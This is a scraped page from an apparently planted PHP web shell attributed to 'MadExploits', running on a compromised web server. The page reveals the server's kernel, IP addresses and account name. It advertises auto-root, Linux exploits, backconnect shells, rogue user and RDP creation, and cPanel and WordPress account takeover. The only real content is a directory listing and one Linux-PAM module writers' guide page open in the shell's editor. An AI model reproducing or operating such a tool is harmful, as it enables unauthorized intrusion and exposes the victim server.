Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 3.16.49.213
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
pam-devel-1.1.8 /
html /
[ HOME SHELL ]
Name
Size
Permission
Action
Linux-PAM_ADG.html
8.41
KB
-rw-r--r--
Linux-PAM_MWG.html
8.59
KB
-rw-r--r--
adg-author.html
3.02
KB
-rw-r--r--
adg-copyright.html
3.54
KB
-rw-r--r--
adg-example.html
3.59
KB
-rw-r--r--
adg-files.html
2.18
KB
-rw-r--r--
adg-glossary.html
3.21
KB
-rw-r--r--
adg-interface-by-app-expected....
61.01
KB
-rw-r--r--
adg-interface-of-app-expected....
8.26
KB
-rw-r--r--
adg-interface-programming-note...
2.55
KB
-rw-r--r--
adg-interface.html
4.9
KB
-rw-r--r--
adg-introduction-description.h...
3.29
KB
-rw-r--r--
adg-introduction-synopsis.html
2.62
KB
-rw-r--r--
adg-introduction.html
2.01
KB
-rw-r--r--
adg-libpam-functions.html
13.13
KB
-rw-r--r--
adg-libpam_misc.html
3.34
KB
-rw-r--r--
adg-overview.html
8.16
KB
-rw-r--r--
adg-porting.html
4.2
KB
-rw-r--r--
adg-security-conv-function.htm...
2.29
KB
-rw-r--r--
adg-security-library-calls.htm...
3.13
KB
-rw-r--r--
adg-security-resources.html
2.83
KB
-rw-r--r--
adg-security-service-name.html
4.43
KB
-rw-r--r--
adg-security-user-identity.htm...
5.38
KB
-rw-r--r--
adg-security.html
3.73
KB
-rw-r--r--
adg-see-also.html
2.16
KB
-rw-r--r--
mwg-author.html
3
KB
-rw-r--r--
mwg-copyright.html
3.52
KB
-rw-r--r--
mwg-example.html
1.96
KB
-rw-r--r--
mwg-expected-by-module-item.ht...
45.36
KB
-rw-r--r--
mwg-expected-by-module-other.h...
8.15
KB
-rw-r--r--
mwg-expected-by-module.html
4.02
KB
-rw-r--r--
mwg-expected-of-module-acct.ht...
6.05
KB
-rw-r--r--
mwg-expected-of-module-auth.ht...
10.73
KB
-rw-r--r--
mwg-expected-of-module-chautht...
7.8
KB
-rw-r--r--
mwg-expected-of-module-overvie...
6.28
KB
-rw-r--r--
mwg-expected-of-module-session...
6.98
KB
-rw-r--r--
mwg-expected-of-module.html
4.27
KB
-rw-r--r--
mwg-introduction-description.h...
3.88
KB
-rw-r--r--
mwg-introduction-synopsis.html
1.98
KB
-rw-r--r--
mwg-introduction.html
1.98
KB
-rw-r--r--
mwg-see-also.html
2.18
KB
-rw-r--r--
mwg-see-options.html
2.92
KB
-rw-r--r--
mwg-see-programming-libs.html
2.94
KB
-rw-r--r--
mwg-see-programming-sec.html
8.92
KB
-rw-r--r--
mwg-see-programming-syslog.htm...
4.63
KB
-rw-r--r--
mwg-see-programming.html
3
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mwg-expected-of-module-overview.html
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>3.1. Overview</title><meta name="generator" content="DocBook XSL Stylesheets V1.78.1"><link rel="home" href="Linux-PAM_MWG.html" title="The Linux-PAM Module Writers' Guide"><link rel="up" href="mwg-expected-of-module.html" title="Chapter 3. What is expected of a module"><link rel="prev" href="mwg-expected-of-module.html" title="Chapter 3. What is expected of a module"><link rel="next" href="mwg-expected-of-module-auth.html" title="3.2. Authentication management"></head><body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF"><div class="navheader"><table width="100%" summary="Navigation header"><tr><th colspan="3" align="center">3.1. Overview</th></tr><tr><td width="20%" align="left"><a accesskey="p" href="mwg-expected-of-module.html">Prev</a> </td><th width="60%" align="center">Chapter 3. What is expected of a module</th><td width="20%" align="right"> <a accesskey="n" href="mwg-expected-of-module-auth.html">Next</a></td></tr></table><hr></div><div class="section"><div class="titlepage"><div><div><h2 class="title" style="clear: both"><a name="mwg-expected-of-module-overview"></a>3.1. Overview</h2></div></div></div><p> The six module functions are grouped into four independent management groups. These groups are as follows: <span class="emphasis"><em>authentication</em></span>, <span class="emphasis"><em>account</em></span>, <span class="emphasis"><em>session</em></span> and <span class="emphasis"><em>password</em></span>. To be properly defined, a module must define all functions within at least one of these groups. A single module may contain the necessary functions for <span class="emphasis"><em>all</em></span> four groups. </p><div class="section"><div class="titlepage"><div><div><h3 class="title"><a name="mwg-expected-of-module-overview-1"></a>3.1.1. Functional independence</h3></div></div></div><p> The independence of the four groups of service a module can offer means that the module should allow for the possibility that any one of these four services may legitimately be called in any order. Thus, the module writer should consider the appropriateness of performing a service without the prior success of some other part of the module. </p><p> As an informative example, consider the possibility that an application applies to change a user's authentication token, without having first requested that <span class="emphasis"><em>Linux-PAM</em></span> authenticate the user. In some cases this may be deemed appropriate: when <span class="command"><strong>root</strong></span> wants to change the authentication token of some lesser user. In other cases it may not be appropriate: when <span class="command"><strong>joe</strong></span> maliciously wants to reset <span class="command"><strong>alice</strong></span>'s password; or when anyone other than the user themself wishes to reset their <span class="emphasis"><em>KERBEROS</em></span> authentication token. A policy for this action should be defined by any reasonable authentication scheme, the module writer should consider this when implementing a given module. </p></div><div class="section"><div class="titlepage"><div><div><h3 class="title"><a name="mwg-expected-of-module-overview-2"></a>3.1.2. Minimizing administration problems</h3></div></div></div><p> To avoid system administration problems and the poor construction of a <code class="filename">/etc/pam.conf</code> file, the module developer may define all six of the following functions. For those functions that would not be called, the module should return <span class="errorname">PAM_SERVICE_ERR</span> and write an appropriate message to the system log. When this action is deemed inappropriate, the function would simply return <span class="errorname">PAM_IGNORE</span>. </p></div><div class="section"><div class="titlepage"><div><div><h3 class="title"><a name="mwg-expected-of-module-overview-3"></a>3.1.3. Arguments supplied to the module</h3></div></div></div><p> The <em class="parameter"><code>flags</code></em> argument of each of the following functions can be logically OR'd with <em class="parameter"><code>PAM_SILENT</code></em>, which is used to inform the module to not pass any <span class="emphasis"><em>text</em></span> (errors or warnings) application. </p><p> The <em class="parameter"><code>argc</code></em> and <em class="parameter"><code>argv</code></em> arguments are taken from the line appropriate to this module---that is, with the <span class="emphasis"><em>service_name</em></span> matching that of the application---in the configuration file (see the <span class="emphasis"><em>Linux-PAM</em></span> System Administrators' Guide). Together these two parameters provide the number of arguments and an array of pointers to the individual argument tokens. This will be familiar to C programmers as the ubiquitous method of passing command arguments to the function <code class="function">main()</code>. Note, however, that the first argument (<em class="parameter"><code>argv[0]</code></em>) is a true argument and <span class="emphasis"><em>not</em></span> the name of the module. </p></div></div><div class="navfooter"><hr><table width="100%" summary="Navigation footer"><tr><td width="40%" align="left"><a accesskey="p" href="mwg-expected-of-module.html">Prev</a> </td><td width="20%" align="center"><a accesskey="u" href="mwg-expected-of-module.html">Up</a></td><td width="40%" align="right"> <a accesskey="n" href="mwg-expected-of-module-auth.html">Next</a></td></tr><tr><td width="40%" align="left" valign="top">Chapter 3. What is expected of a module </td><td width="20%" align="center"><a accesskey="h" href="Linux-PAM_MWG.html">Home</a></td><td width="40%" align="right" valign="top"> 3.2. Authentication management</td></tr></table></div></body></html>
Close